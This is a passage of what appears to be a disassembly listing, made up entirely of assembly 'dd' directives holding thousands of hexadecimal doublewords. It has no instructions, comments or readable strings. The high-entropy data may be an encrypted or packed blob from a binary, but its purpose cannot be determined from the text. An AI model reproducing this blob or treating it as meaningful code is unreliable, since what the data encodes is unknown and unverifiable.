677E5C96h, 0EB1C157Ch, 9E053E5Dh, 0F699D831h dd 8240F225h, 1627426Ch, 0F5C3E97Eh, 0A84821CDh, 0E1674C1Eh dd 0AB72E8CFh, 4B5BC6DCh, 7B33675Ch, 0A938AF2Ch, 1466BC40h dd 95160E2Dh, 5B5C83Bh, 0DE2CFB0Eh, 27B8FE50h, 88C854D8h dd 716146E9h, 0CCB60F47h, 4A9268F4h, 0B246A565h, 82515819h dd 3CBE1DBh, 407D6F6h, 8006EEC0h, 0F7889931h, 47DCB46Ch dd 7692CCEh, 0BC9D7EF8h, 5182D948h, 4FCA6FE9h, 8002A0D7h dd 241B4E28h, 1453EF2Dh, 6852A265h, 0A9BB53C1h, 11A02E02h dd 5819CE70h, 63D059CBh, 1BBB2D01h, 4B933A15h, 0F2D9EACBh dd 0F4ED0091h, 11A7918h, 0BF9056D5h, 694B660Bh, 9FFA6664h dd 210F5C41h, 8CE26BEDh, 8DB8804Ah, 757C3F1Bh, 44AF7F27h dd 8E69578h, 18D03349h, 0E17BA1E7h, 7D3B4CC7h, 0DFBD5C61h dd 84FA47ABh, 18909C9h, 5A595219h, 0CC053D60h, 0D5560606h dd 13F56324h, 0DE59CE09h, 0E28B518Eh, 0B3DF5D89h, 68153EC1h dd 0DF460BADh, 0C4B44FF4h, 613B5BD1h, 2A5AD3F8h, 1588E3E3h dd 537C2E30h, 81210DDCh, 3B0D78F2h, 80A16653h, 1FE5F2DEh dd 4F6A3DE7h, 0AC8B4F64h, 0AA2940A5h, 0D41AD60h, 0D8EDA17Ah dd 0FB30FE3Dh, 694CF16Ch, 0BFEC6C5Ah, 5D3E0070h, 5BDA3531h dd 405061AAh, 6881D2FAh, 67BDF6C2h, 6BAA925Bh, 1DF3B357h dd 4371A556h, 42D2F76Ch, 0A0CC0666h, 24559817h, 16A454F6h dd 1322C401h, 19D70908h, 5F830F7h, 0B9F1837Bh, 300A8422h dd 0EFF59ECh, 269C023h, 2855E681h, 0F0F12ADEh, 50E3207Fh dd 249834B0h, 0C84F243Ah, 84162799h, 2E91867Eh, 0D13F10A8h dd 6AAC95DDh, 5A01A3DCh, 108AED5Ch, 58641CB8h, 25BBC7CDh dd 0E938FAADh, 0CA6B9754h, 0AD04B8BAh, 7D6870C1h, 57C05E2Ch dd 0A94BF2BFh, 4CB92F02h, 7F4F0DC2h, 2726D8Ah, 101F9D53h dd 70F2AE80h, 0DF9C49DEh, 0DE0C5712h, 0BE2877CBh, 68998854h dd 39F05813h, 1B639FECh, 61E9DAEAh, 0C0552456h, 1CB64508h dd 1307205Dh, 0AB5AD529h, 79055761h, 0E5DAE504h, 6AB33512h dd 883BA32Dh, 0B140ED27h, 2E23CC1h, 0D4C1D627h, 1A68D4F7h dd 58EF5354h, 0D4B81F4Ah, 0A35B49DEh, 594BAAD9h, 0CAE962CDh dd 0C1B53C58h, 0FD048305h, 12624FB2h, 9615825h, 9058F0Dh dd 0D1797325h, 7D5A5E18h, 0F00868E2h, 9874E410h, 0C770972Dh dd 5964A791h, 0DF647BF1h, 80E8D252h, 4C8CBD9Dh, 44164Ch dd 0F58108EDh, 767910EBh, 980F246h, 89070ACBh, 3AD9AA41h dd 0FE64CE09h, 0F27A62Ch, 73C94265h, 1CCEEE2h, 1267A320h dd 9F8015Ah, 72689608h, 1501CBC6h, 6858632Ch, 0B66E2DDCh dd 6EB4272Fh, 0A880C8ECh, 67783501h, 0E6F1759h, 0B261813Fh dd 825ABF04h, 3DE903CAh, 0ED65D7A9h, 7708ADA6h, 9EF02FCBh dd 0EA80634Fh, 1E8B6857h, 0D670BB44h, 85F081C1h, 0C6CC88C8h dd 71BD0172h, 6A301125h, 0A2F6D91h, 3401543Dh, 11FEE74h dd 1A95E3C7h, 5541C08h, 16875889h, 2900974Bh, 5F7631BBh dd 0BD555E01h, 74096CD8h, 0F0BE173Eh, 77139E76h, 280431D3h dd 0B6ADF021h, 990A2CEh, 390F3068h, 146FD6E5h, 0E735DCA0h dd 5B88AA26h, 0C87A2626h, 6D1F0BC5h, 173D1953h, 0DF4E3BAh dd 8BEC975Ah, 6FFDE7FEh, 66B2F777h, 25AF0A07h, 781E5C80h dd 29313D97h, 28956AC2h, 3F125966h, 7C638C34h, 0C472A16h dd 4FE61725h, 0F3EEC878h, 1D2F4428h, 0A28AF72h, 621FDB50h dd 0E5C11260h, 2FEBB002h, 255E9740h, 30A2D989h, 0CE759173h dd 0B10DF68Bh, 312A0831h, 0AC0F2A3Dh, 493C8825h, 45F153FEh dd 59017538h, 0EE2BA92Dh, 7DA1D414h, 7412D12Dh, 0EB072079h dd 0AFE91141h, 0C24E1A28h, 5C70015Eh, 0CDFE5A1Fh, 0D3C534D2h dd 9A0BEECh, 0DDA2E9C0h, 0C4A7FC5Eh, 3EA88C5h, 5BA1822h dd 3D681101h, 0DACD265Ah, 4C291101h, 0B75908E0h, 12B09665h dd 0B36A0D68h, 6115BDA9h, 0E42D8B3Fh, 2508DEA9h, 0C0060888h dd 415F5409h, 1F6D8784h, 2F1811Dh, 2918590Fh, 0E8030FD8h dd 45401605h, 0F166AB1Dh, 0B62A20F2h, 0AA885BF3h, 5590429h dd 0B023E971h, 0B1D3BBC2h, 258887F0h, 0C8465B03h, 5EE9501Dh dd 27CA23F3h, 43A084B4h, 1D76199Fh, 6660D1F6h, 7A206717h dd 0E1CBE910h, 0B33B8C3Bh, 73E2256Dh, 0E3FE2DB0h, 3E26E226h dd 626D6884h, 0F2B167EEh, 8703281Ah, 9A4005EAh, 4062D373h dd 53C7C18Bh, 0E9262344h, 0E2A761CFh, 0E9BDF909h, 0F90445Ah dd 51477607h, 0B65AE92Eh, 0F939E2ADh, 0A0DEA58Eh, 5CD7E950h dd 0CDE029Dh, 0FB3FF5FAh, 6FD6F9FFh, 97104AB3h, 23680A26h dd 0D088FF4Eh, 2EB8092h, 0AFE8F381h, 0DE744C27h, 0AA6A159Ch dd 4549680Ch, 9E4B2835h, 0F12A1BC9h, 67F32B91h, 0E8B580D1h dd 0D8B64F27h, 591ED15Bh, 29067047h, 485AD017h, 0FCA31509h dd 69DF687Fh, 3565CE89h, 25E94CA5h, 565CC220h, 4C0B1BC3h dd 0C3014342h, 7ECA6032h, 0B7102E29h, 492C5B08h, 9A15030Eh dd 0DB3FE95Ah, 26B95605h, 5FEEF03Ah, 5D0C5650h, 63FD4D84h dd 0D6D83B0Ah, 30268419h, 0D550DB7Ah, 8FAAD03h, 582DA221h dd 12512747h, 0F95A307Eh, 0C41AB515h, 5ACDBE5Dh, 9C2A4625h dd 5C880213h, 9EE49566h, 14908225h, 0CFBE9C48h, 0C824E90Eh dd 578AD386h, 9AAC645Ah, 22620C4h, 0D51C5F21h, 6A5462ECh dd 0F74A8993h, 57BC3001h, 542C25BEh, 0A0DF5B7Bh, 0C1242340h dd 56005511h, 0E97A6617h, 16EBB9A9h, 0AB01209h, 0E1BBD418h dd 8914D359h, 0F16333D1h, 3064991Eh, 822D300Ah, 0BBFD1AD6h dd 26D987B2h, 26AE5598h, 25C5286Fh, 60BE5CE8h, 8BD0BDA5h dd 7AAA565Ah, 85032D7Eh, 793AC562h, 1E7B2D0Fh, 681259FAh dd 0DAC5F80h, 5E0B10D0h, 9FC232E9h, 740E77Dh, 303FBE56h dd 0DEF7782Bh, 6C50682Fh, 22353E05h, 6F5C57A7h, 1E448B17h dd 21EFC830h, 2B13ED47h, 0E85A73F6h, 426B2512h, 0E394DF29h dd 0F94BE2FCh, 0D64D78CBh, 1CD51010h, 252228BBh, 242B8E7Ch dd 5E4ED9DAh, 1649BE0Ch, 3DEB1E69h, 0E05056FDh, 0D034035h dd 49920E61h, 9703982Dh dd 6AD89F4Ah, 3DDB353Ch, 12D7500Ah, 6DF85913h, 0C50A2EEDh dd 3BA1B8FBh, 0EC647C25h, 0C8AF0F1Eh, 0F1B767C9h, 8A238868h dd 3A82EE2Ch, 543D4217h, 113F98DEh, 93602CE9h, 2A63E5C7h dd 0FD125A14h, 10F51E0Ch, 31659B04h, 935CFB14h, 0CE0D316h dd 800E6C38h, 666EA33h, 5DF2B1B8h, 6388B02Fh, 0ED03E913h dd 41D2B2B4h, 0F18F00AFh, 783E0ADAh, 0CBF03BF6h, 0C1A54DE9h dd 52FC07DBh, 4E7CD37Bh, 0B1007144h, 0BCC180FDh, 6E1C007h dd 0E987C9FEh, 0EA95119Dh, 8510DD19h, 52D2E61h, 0AADAEB4Fh dd 9B0814F7h, 0E28100C0h, 519622F1h, 0E0ECC2A1h, 819FDD41h dd 80C0E98Fh, 0E0D6C97Ah, 45C07375h, 2333CF81h, 0F0184F57h dd 0D0044EE6h, 0BFE91151h, 75BBC9D1h, 553DF728h, 70F9FE95h dd 0C7970D4Ch, 0DD6E3556h, 0C4617A8Fh, 0E37A6745h, 0BFDC155Bh dd 0F3CF1CCCh, 6D01EFCFh, 71619F4Fh, 12F3C92Eh, 0E76BB9ECh dd 91A7E63Eh, 1F50EE8Ch, 945000C7h, 0E9DE014Bh, 48C3855Ch dd 0EFD1F791h, 0E047D695h, 5272C6FEh, 8BD95377h, 9CD26968h dd 66BBBC64h, 0FA25E85h, 260BA10h, 0EB465DB9h, 8868F71Ah dd 132CC7F1h, 0F618F7A1h, 3955683Fh, 0F8DE4014h, 2DF33F67h dd 0C6830CABh, 722132Bh, 0E629000Ah, 21784B02h, 7FD1F248h dd 790F1A96h, 54C2033h, 31641276h, 0E9402124h, 0B41C6EA8h dd 0F374F019h, 4E798066h, 58DB0CC2h, 3C003D48h, 0E32D4B62h dd 74DCCB29h, 0D3954CE9h, 84A7C99Dh, 0DF8AAEFEh, 584427E6h dd 81D359ECh, 112199FFh, 2B73765Bh, 18192C78h, 0EE486BBCh dd 699DEE45h, 2FF8C121h, 0E84B4E2Bh, 74711736h, 0F05A8CF6h dd 0DB955F6Bh, 0B9514012h, 7904109Fh, 0D6F8E965h, 85107A14h dd 47210A7Ah, 5597EF1Ch, 0EA4E52AAh, 0C5C5EC2Ch, 0FC4EE927h dd 68510561h, 31BF4FC0h, 3FE1D911h, 7DF68ED0h, 2D12484Ah dd 62C80525h, 0F02F9949h, 94760377h, 0A01A5E20h, 0BC4A7AFEh dd 71003325h, 35323F27h, 60CC2E68h, 6836607h, 167B0148h dd 24A9BF70h, 6EC54A99h, 435F41CEh, 0C88DE994h, 0F17BC979h dd 0EDA059EEh, 0C282FD71h, 0D57D4208h, 99D6D12Bh, 2B340FEAh dd 8747A90Ch, 5EBEF857h, 8F26A814h, 3696EE56h, 368672EFh dd 0B2263278h, 623FBB78h, 5530D806h, 0E918AD16h, 0BE30CEECh dd 0BB7702B9h, 7EEC16Ch, 2C69D641h, 9FE1809Ch, 957EEC19h dd 0DAB54FC0h, 0A62A1675h, 0EE07C317h, 0E244C248h, 57FB78B2h dd 0A9E5DAFh, 0A6A690Ah, 0AD7E8677h, 4C5023A2h, 0B2229EF7h dd 0F33A4F15h, 0E9BA02ADh, 5E1D2715h, 0D19B5357h, 5A59CEA8h dd 29E86830h, 25F3315Bh, 0DA7C215Eh, 0CA5DE9C2h, 0F6FEEC44h dd 483C2A68h, 2768903Ah, 8679FDCEh, 8BC67BAFh, 202B5E65h dd 5D967DD4h, 6EF529AAh, 0B8ADECAh, 0BF5892FDh, 40FCC74Bh dd 73CF88BBh, 50FA7552h, 41D9A9D4h, 718B2BFEh, 292CF746h dd 0A712468Dh, 14F8594Ah, 0BEDA3D16h, 0D1526133h, 4C32BAD3h dd 0E222E113h, 63C38034h, 9D0B0A1Bh, 7F2D49E0h, 6BF6071Dh dd 9349A443h, 4131D026h, 5520295h, 16F4C3Ch, 0C025C241h dd 7CC87D38h, 0B5B1C90h, 0B0DD59CBh, 97F7CC20h, 0B181B9C6h dd 4A87636Eh, 4DC4B9A2h, 0FB800ECh, 23FE29h, 503E8C1h dd 607557B3h, 0DC17E926h, 0B6A95A96h, 8325ABB4h, 6E8F38BFh dd 1C595D40h, 16D5C780h, 64AA1DD7h, 0C48734CFh, 4C8BBA8Dh dd 0D5099F4Ch, 9EA68D6Ah, 0E0EC91E5h, 1A57BEFBh, 0F60DA40Ch dd 20C14563h, 0CC565A22h, 5AEA104Dh, 0A909F3F8h, 0B9DAEF33h dd 5B0A7A4Dh, 204835A3h, 0F40C5712h, 0ED16AC23h, 4DAB916Ah dd 7F91B4DBh, 74AB23C5h, 0D0229CE3h, 0D524684Eh, 0B8D404FEh dd 9B4B37Ah, 85FF75A8h, 2DA12F19h, 89BB90EAh, 0A25D5BEEh dd 66E90D2Bh, 0DC00248Dh, 0B8C83108h, 0E3BA4A44h, 0E688229h dd 2519CC1Eh, 58A9094Ch, 29A15800h, 73FA2EE1h, 0C1917F4Fh dd 0E59F9E1Fh, 0BC4B49DFh, 0C97F99F7h, 0F0B663Ch, 8951C8B7h dd 22794762h, 8100A05Fh, 3B3E83E7h, 0F7030E8Dh, 415335BCh dd 3629180Fh, 81011608h, 7AD07E93h, 242895FCh, 8E513994h dd 81207225h, 32240D40h, 8035D0F3h, 6C436D03h, 758C731h dd 4849C858h, 0EAED6560h, 0FD019845h, 0CA0AC2h, 4E866856h dd 0E8A18375h, 2F4B757Ah, 2AE107E1h, 5214F42Ch, 0CB2DAE55h dd 0F7BCA5ECh, 685BDFC0h, 2D464E03h, 0D416209Eh, 5814E80h dd 79DF3FF6h, 441DB9EBh, 9DFB6414h, 71E7B677h, 6AB7602Dh dd 9097FE20h, 82ACD0C1h, 5F37E400h, 76B894D8h, 98310B40h dd 0D466A21Ah, 63BA038Ah, 1A3E7001h, 0F8022AD1h, 0AB091EB0h dd 50588318h, 0D0E205C0h, 0EB76630Eh, 54F2BA20h, 26600506h dd 909B09E9h, 0E8D1D080h, 0BC2D4000h, 568D32Fh, 279D7513h dd 2550504Dh, 55725F0Bh, 206E7C3Eh, 0E6586B07h, 5ADC4C0h dd 2731DAB7h, 67F43B68h, 3E975267h, 5A7075B0h, 7E200C1h dd 0B833EA81h, 0DA90E1DEh, 0B78BD358h, 3AC2F3BFh, 8989DE5Bh dd 65567F72h, 44D4A864h, 5DB2C7A8h, 0B5E466D4h, 8040DFCh dd 87805AF1h, 9FF6B293h, 28800256h, 8156982Eh, 3BD477E3h dd 0EB016783h, 1A32336Fh, 0C10E8243h, 60164779h, 0B284F48h dd 0D9291390h, 0FC492CD9h, 0B2D6729Bh, 2F247A7Ah, 7A4ED784h dd 615256B6h, 0FC3CDD0Fh, 3D2CFEA5h, 0CF29034Eh, 1D9CE954h dd 0E5881A01h, 76B25258h, 3234F7EDh, 59511D25h, 0EA2D1233h dd 6128434h, 12619CB8h, 61311151h, 0CC55E6BCh, 3EE91305h dd 80B6F3BFh, 8D181AB9h, 8B015A06h, 54592D8Ah, 5E950E0h dd 0F1B86295h, 13D4ACEFh, 0F1FDE803h, 7B7C38BBh, 0C74314C0h dd 0EF2FE964h, 0B555CE03h, 0CFD7EF9Ah, 22C525C9h, 0E56E906h dd 0DFF20429h, 0B05AA52Eh, 0EFE7D1B6h, 0FD437DA8h, 58F094Ch dd 0F84A371Ah, 0A803D8F1h, 54729AE9h, 81A29DE1h, 295A74A1h dd 0E95348CEh, 18CD5C2Dh, 2777938Eh, 0E650502Bh, 7DC4494Bh dd 0A5AE0D87h, 3493648Bh, 853E28EEh, 2BE20733h, 0B34D4677h dd 1750AFA2h, 0A72745AFh, 4E4AC823h, 0FE46975Fh, 98875725h dd 9DE51BA9h, 6B55CA99h, 53702137h, 2E702A68h, 0E1046BCh dd 0D8A0CFE3h, 0B6B7E973h, 7D736ABDh, 361104E0h, 322EE026h dd 7F0D131Ah, 872DA3EEh, 0EBE9560Ch, 0A72522A2h, 5911A60Eh dd 6016960Ah, 25FD6855h, 70A0CF72h, 0FDC0A850h, 0AE1BE4EEh dd 0A35B4F3Ch, 0FD712ADFh, 80D83028h, 7A47B941h, 13F13BE3h dd 0FA9E680Eh, 59564B30h, 0FE870C5Eh, 3108D7F7h, 0CE41F172h dd 50F7160h, 215D34D5h, 0EAF164C8h, 7A7781D1h, 31685700h dd 0DBBC5B3Ah, 7F04E0ACh, 0FC537C7Dh, 62A34EC9h, 3FBC6809h dd 30602CFEh, 0F059166Ah, 5F590C1h, 3EE254BAh, 2175B013h dd 4F08CF4Ch, 95092413h, 9C95D810h, 0F26B6FC3h, 0EA5C0352h dd 0D3C22F65h, 6C50897h, 0A27F792Fh, 0E902096Bh, 43FCADFAh dd 0DE5AA161h, 0C71DB07Ch, 0C59971Ah, 0A8E4D3F1h, 0F0152127h dd 7A840B52h, 10575CD4h, 984D065Ch, 30057DECh, 982663CCh dd 0AF5FAC94h, 0DD31CD05h, 9560B088h, 7694A48Bh, 68F9F705h dd 0DCEB2DEFh, 5740F280h, 0C8BAC958h, 7F3BF5D9h, 0A012E4Eh dd 207F83ADh, 21E1F7C2h, 0B30104DCh, 3837236Dh, 0CAF2B03Fh dd 3FF31B16h, 0C405CC13h, 0A9BCC6E9h, 794CB35Fh, 0CC65F965h dd 93E9EB60h, 2733925Bh, 67FB6A4Bh, 4DD9DAA5h, 801DEB32h dd 9B2DBCC6h, 1E7D9689h dd 0DD78B5D4h, 0DE5F2727h, 8A86E9D9h, 0F53D3D74h, 3A599261h dd 409F8EF0h, 0C5B75E9Bh, 3DD92F07h, 4BCC0C4h, 417C614Ah dd 0BBDF3B57h, 0C612500h, 0B8E90BBCh, 0D67CC54Ch, 49059017h dd 37BAF388h, 0CCA9D2E7h, 734FB4D4h, 0BA47008h, 0B284C729h dd 5BB4A377h, 21C7A62h, 8371DDF9h, 39AA6697h, 0D7B43244h dd 0B8C02FFCh, 6A9F4348h, 0C2CDE925h, 204F7FFh, 78391612h dd 6CC6C29Fh, 8B7652FEh, 9763AF88h, 0DBB5C2h, 4193EAC6h dd 1434B0Dh, 8061EF2h, 4B5A9F1Ch, 0D4BC5E5Ah, 358EB412h dd 90A81C7h, 0F2627E03h, 27C6DB04h, 0E941B8F9h, 332B94EEh dd 0FD8D0862h, 0C868C2BCh, 0E972A157h, 994D1921h, 4929F72Eh dd 40B9D1EDh, 41BA8DE3h, 0FD4FF690h, 5F3DE6ECh, 41BAEA50h dd 0E288B87h, 0B608686Ah, 7A140D11h, 0A778F329h, 5BEE68BBh dd 39012E68h, 3C78C013h, 50487C97h, 75B200E4h, 0FB84A03h dd 17162EE4h, 8CE9897Fh, 5C1C2370h, 66656568h, 382E141h dd 30428F57h, 858287A9h, 0C6564D55h, 0AA165D49h, 3F5858h dd 9B3C4CBEh, 1CE8114h, 7AD64F7Bh, 67D4A1E9h, 45DE41B7h dd 1299FD82h, 0A71715h, 0BD44967Bh, 3610688Bh, 9C449976h dd 84045BD1h, 0E92CE8C0h, 32F16EDh, 80C1863Bh, 0C8887BC0h dd 0F7B55903h, 9858C528h, 525AD5h, 0EEC07AB6h, 6EF68007h dd 0D1753F98h, 0E310DE6Fh, 0E85AF520h, 0F8E586DDh, 0BD08DFD4h dd 0C0542BADh, 8D1EFD4Bh, 7508C49Bh, 57283D0Dh, 0FE0840E6h dd 79C5C158h, 0EA80174Fh, 2E4340BAh, 73398Eh, 7522CD4h dd 945E13E9h, 9274CD8Ch, 0A4094E43h, 79D189Ah, 0DFF5ACADh dd 1F5347B0h, 0C8526DB3h, 0D6258BA4h, 0D3BF5610h, 3EB00217h dd 26E13941h, 9C412A58h, 2366292Eh, 4A710A2Fh, 891224D3h dd 4B2F4068h, 7B2BD149h, 73F020D0h, 0F800340h, 0F82CD5C1h dd 0E2A7AD49h, 0AC61F1BEh, 23928256h, 406C2965h, 137E421h dd 0D6F776F9h, 6CE379E9h, 0CB859751h, 31E299EAh, 0AE246B0Dh dd 16AF79C4h, 5BD0E7DAh, 59AC8084h, 5954E5DCh, 0EA04644Ah dd 0CC811832h, 0C04DDCAAh, 0A89A296Ch, 407DCF4Ah, 195AF685h dd 785D042Eh, 78E37354h, 0FAB5EB5Bh, 1F5B1C60h, 0B49B965h dd 1E57D7F0h, 35876881h, 3D8C3BD9h, 540C3278h, 0A6161112h dd 0BD3E16FEh, 0EA98229h, 0F7AC608Fh, 0E9222E12h, 0B173168Eh dd 0C0207A49h, 0BD455668h, 3282AE98h, 123D5F26h, 89B11513h dd 7FBE8B6Fh, 0CA1124Bh, 0F4747122h, 0DDDD4E8Dh, 94840197h dd 0CCBD00C1h, 324A0F31h, 0D1AEEE21h, 10234273h, 0A5551825h dd 0E8FCF158h, 0EF6513F5h, 6DAED557h, 0E5B93093h, 0E22C5D81h dd 35C106A5h, 87F0ADC6h, 27C3612Eh, 4A6ED210h, 0AD282008h dd 0FB0B422Dh, 7A7FA63Eh, 203296F5h, 0BF05B17Ah, 0FDE3998h dd 0FA3786BFh, 0C4266500h, 0E9D8F705h, 5CD74CDCh, 3B140E99h dd 247C40CAh, 40096DFBh, 21161353h, 0F9F72925h, 0F889420Ah dd 482BE85Fh, 0BFB70B35h, 0C556EC1Dh, 0E9038803h, 8298A5CFh dd 0A7F24E8Eh, 8BA34FE2h, 0C0C7E912h, 1F6687Ch, 242EA73Dh dd 0D0A5CAD5h, 94A89D10h, 50CF2C8Ah, 0EEE036B5h, 6AE9590Bh dd 0BB3B75DDh, 6E9DD6D9h, 257FE388h, 1CDC768Ah, 81814B0Eh dd 7DB72CACh, 0A4FEE343h, 8BDE0901h, 0D6C6361Ch, 60E9D090h dd 0F934D0C4h, 73525D10h, 5B5C23BAh, 47D3814Fh, 0A8887B58h dd 0BD007FE4h, 572E3467h, 63ED3481h, 4984FC0Dh, 365C8C26h dd 0F45DD72Fh, 0FAF768F9h, 0B225B746h, 96B7C1A3h, 80AFD22Eh dd 0F2985DC3h, 0C049E941h, 12D7C3Ch, 30685F0h, 0DED66B4h dd 0A7F4FA3Fh, 44C7E483h, 4F8B6414h, 736027A3h, 91193D91h dd 72C33D8Dh, 0E9ED5E2Eh, 3243EB80h, 0FABD20BCh, 0D10882C8h dd 28F860B1h, 0F29C5371h, 9E301C2h, 14C2F354h, 48735EE2h dd 857F08B7h, 10CD0109h, 80DAA919h, 381679BDh, 2CAE427Ah dd 75035C94h, 0CBE929EFh, 0F2D302AAh, 7D7C423Fh, 2649DF80h dd 0CC169C5h, 832DEC3h, 0A0B3B07Ah, 57A90995h, 0B896A445h dd 8B5AA24Bh, 693E777Bh, 8244E92Dh, 0FC232C7Fh, 0CA5A4BA2h dd 0EED251B7h, 8441B3A9h, 1AAC4E58h, 410506Eh, 31FA25B1h dd 3F62AC7Eh, 8B05A849h, 0D199578Dh, 13A8E819h, 0F800EAF8h dd 51229B6Eh, 2766B8B9h, 0DFDE75FDh, 604E10Dh, 0D80640BBh dd 0C6DF56Ch, 6333610Bh, 80815F55h, 7B149425h, 0B83152A0h dd 0A9894B98h, 26FE96A5h, 88D6DD46h, 69AE28FBh, 0E3FD6C54h dd 5B6BABEEh, 9C4000Fh, 0F8425DEAh, 680BBFDEh, 0C072F4DCh dd 0F6B8A09h, 0C60119E6h, 0B008A8DCh, 3C5C609Fh, 0B61E3EB8h dd 0DF056101h, 404CB772h, 2665AF30h, 15C66BBBh, 0FA43AD0Ah dd 0F90CC716h, 0CCD2DED0h, 1BA24F0h, 51C84A48h, 6C2B3E68h dd 7D96C105h, 8274158Fh, 3C2CE681h, 0CE3B341h, 16E007A2h dd 609DDAF7h, 9FFC831h, 0ABEDE977h, 0B250D5D6h, 3668808Ah dd 0BDFC495Bh, 6D85E9E0h, 1ABC16B9h, 42210761h, 0B23AC140h dd 3A886401h, 0A4F3083h, 140DA8C9h, 0F3C203F5h, 0DA608224h dd 163E8BAAh, 5B7902Bh, 3BD97FF2h, 0F1FA52B4h, 0BA975534h dd 0AA488ECEh, 16E1C710h, 9F01D2F7h, 79BB6F77h, 81AA0A70h dd 0C3746B5Ch, 0C7B91185h, 5D7EAFDFh, 9AE5933Fh, 84E435FFh dd 0E0DEB1E9h, 0D0BD88FCh, 123C34CBh, 61A0C1FFh, 58660293h dd 62027548h, 6E7E0B81h, 745207A3h, 23C8DF5h, 2295795h dd 0FD27B0D5h, 90F9EE9Bh, 1452B65h, 0C8F91015h, 18BDD651h dd 514137B2h, 8149AC71h, 0E17953F6h, 40037D30h, 0D54CF7E5h dd 67051DE4h, 0EB0F6D52h, 2FF52007h, 95011F6Fh, 0C60B0F5Eh dd 0A93AD702h, 23ADF865h, 2E6A5C6Bh, 960DF61h, 0FE4497B6h dd 0E8408290h, 1E099881h, 0C9724BF2h, 0C8D65765h, 5DFA92BBh dd 533F6DEDh, 0FE55ADB4h, 8F176431h, 0D3C74983h, 0FC019035h dd 0BA5825F7h, 0F43B0593h, 9749E95Dh, 5451177Ah, 6E056EACh dd 0EC2EE019h, 0E28102BBh, 40D479E3h, 9FC54ACAh, 0B55B74BAh dd 70D2E989h, 8A5097ADh, 11125B90h, 84044118h, 5B0ABD77h dd 0C8A30881h, 3DB3053Dh, 0BC07529Fh, 68462850h, 0CBC26E20h dd 0C08910C1h, 6B22ECF1h, 10DA16D0h, 0E04AB71Ah, 4E654133h dd 94BC6C31h, 9229EDD2h, 7A407DAFh, 885F098Bh, 390B1229h dd 855316D8h, 6C91775h, 8B84F639h, 0F680025Ah, 0BED58473h dd 8B2633AAh, 0D0CEAB94h, 2776410h, 22C6A0B9h, 3EBADCA7h dd 0AA55FB92h, 18E09C61h, 0C40BB37Ah, 0AC17B54Ah, 0DF929EA3h dd 78BED284h, 0A624E9C6h, 988C9FC9h, 50EAC94Dh, 82F0BEE7h dd 7EED6057h, 32522536h, 260E005Dh, 95BF09C3h, 9B7C6289h dd 5D10D08h, 840B353h, 0EA275C8Dh, 5BD06453h, 0B903A856h dd 66C2D200h, 1054C78h, 504F9C10h, 0D540192Fh, 6E3F2D68h dd 0BF60795Eh, 4F3266B9h, 4010E819h, 992F4BFCh, 0D036E0CDh dd 0D20E5871h, 5EBF205h, 0C664C11Ch, 6DAA05E4h, 0C7542C08h dd 322C88E9h, 1BAF1FBFh, 2BDA45Dh, 3B306829h, 44CB8FDDh dd 89EE5E91h, 0D8012BDEh, 9679705h, 0A448137Bh, 0B613BF1h dd 4031EF73h, 0B55E17D0h, 0C54B12DBh, 0B4EAA598h, 965F7DA9h dd 0CDE680F2h, 6AF92F5Eh, 7034CBD6h, 6C3550D0h, 0A16B5FD8h dd 37F303C3h, 3C2D1302h, 7F07C625h, 17078E88h, 6E3CBE5Eh dd 79DB25E9h, 3E61B354h, 0BC408D74h, 2802FDEEh, 0FAFC462Eh dd 17DF3039h, 0C154DD0Ch dd 1A01C5Ch, 132F0552h, 2130F201h, 58BBDC0h, 71EC4EF4h dd 0E648B5D2h, 0F19576BDh, 38684152h, 0CF302E2Bh, 50D41E6Dh dd 183A953Bh, 0C118263h, 0A91D7E5Dh, 0BC53E9B2h, 9762DAAh dd 37816CCFh, 0F3D09724h, 1FE394EAh, 53DA090Fh, 0BA594252h dd 37F6088Ch, 785AD30Eh, 81C1381Eh, 81CDED58h, 0A17BD1AFh dd 0CC47014Ch, 5725082Ah, 0F2205F94h, 96D8BF97h, 520F428h dd 0F588962Eh, 4C61AE09h, 2B9898B5h, 976B636Fh, 858BA9C1h dd 0A44049E9h, 0D7F670B7h, 6FF74C80h, 4EA72610h, 2D689E98h dd 48D460BCh, 8D6FC0C0h, 15C18205h, 8AD924AFh, 97347D44h dd 2899B920h, 0F9B741C0h, 0F3AEB1B1h, 0FE010164h, 0C804D938h dd 3664Bh, 99B4362Dh, 5270BDFCh, 7906FF27h, 79FE8919h dd 8C6E98DFh, 53739589h, 0AE4973A5h, 50100993h, 9FDDC45Dh dd 0E214F6F2h, 9FFD5Bh, 392FF0EFh, 0D70144h, 52BEBB53h dd 0C1E96440h, 0E3714Bh, 896CB010h, 5E6DAB28h, 0AC5744CCh dd 7E4881FFh, 0A4EF2271h, 834E1D1h, 846A79DDh, 0C777BABEh dd 3482B66Ah, 421FBF67h, 1624C09Dh, 1DE9B012h, 0F07E14BDh dd 458735BCh, 0D0899317h, 74D82809h, 42FC68E6h, 97B8Ah dd 776FBED4h, 811A07C9h, 0A4582DCEh, 0C8C0BB36h, 0B3D65C6h dd 8DE93A91h, 0E75EB552h, 0FD9289CAh, 9568C2E9h, 603C5606h dd 187F2C92h, 0D427FB98h, 0D829ECC1h, 34A99CAEh, 0A5217F2Ch dd 2B90312h, 0FE580185h, 2C3BAA8Dh, 0E9255231h, 0FA8E4BA2h dd 0C2667E2Ch, 4109DBA3h, 6CDC192h, 93C0092Ah, 3FDC0F29h dd 213F6651h, 549EF23h, 0F15600AAh, 0D022983Fh, 0DAD9894Ah dd 545E073Ch, 7B2C7B9Dh, 0A7AFA606h, 0F663DA1h, 0C02F42ABh dd 15209029h, 3CCC927Ch, 212CC80Fh, 0CB684197h, 65B0583Eh dd 741527F4h, 23AF61E9h, 5292887h, 785006F5h, 9AA804Ah dd 60158744h, 3DEBDFF7h, 0DE37AD4Eh, 0E94F0688h, 3112712Fh dd 3CEF8BC2h, 0CE41573Ch, 4E0B6282h, 4E403CC4h, 945E6237h dd 13005BF8h, 4216A717h, 4A90E2C1h, 79D34C2Fh, 69EFC77Dh dd 0E984ECF9h, 25A4FEE8h, 0A00713C7h, 0C174E016h, 835A08A1h dd 9610D71Eh, 0E40C0142h, 10ACC3Fh, 2BCE59CFh, 6716DDA6h dd 59B0DCF9h, 8F88CC9Bh, 8E6801E1h, 39417B4Dh, 85801215h dd 300062E3h, 81745033h, 6C3C6DE5h, 0F501F613h, 790E3217h dd 0F07ADDF7h, 41128ABAh, 47C489FAh, 15535FBh, 0E745A0C4h dd 6F4A31C8h, 4E34B3A5h, 0A9954B40h, 5F9C940Ch, 816F8EB5h dd 6B62E930h, 7F6264F5h, 7D7C5CB2h, 0E6E9DEC0h, 9112974Eh dd 510772C0h, 63BBB900h, 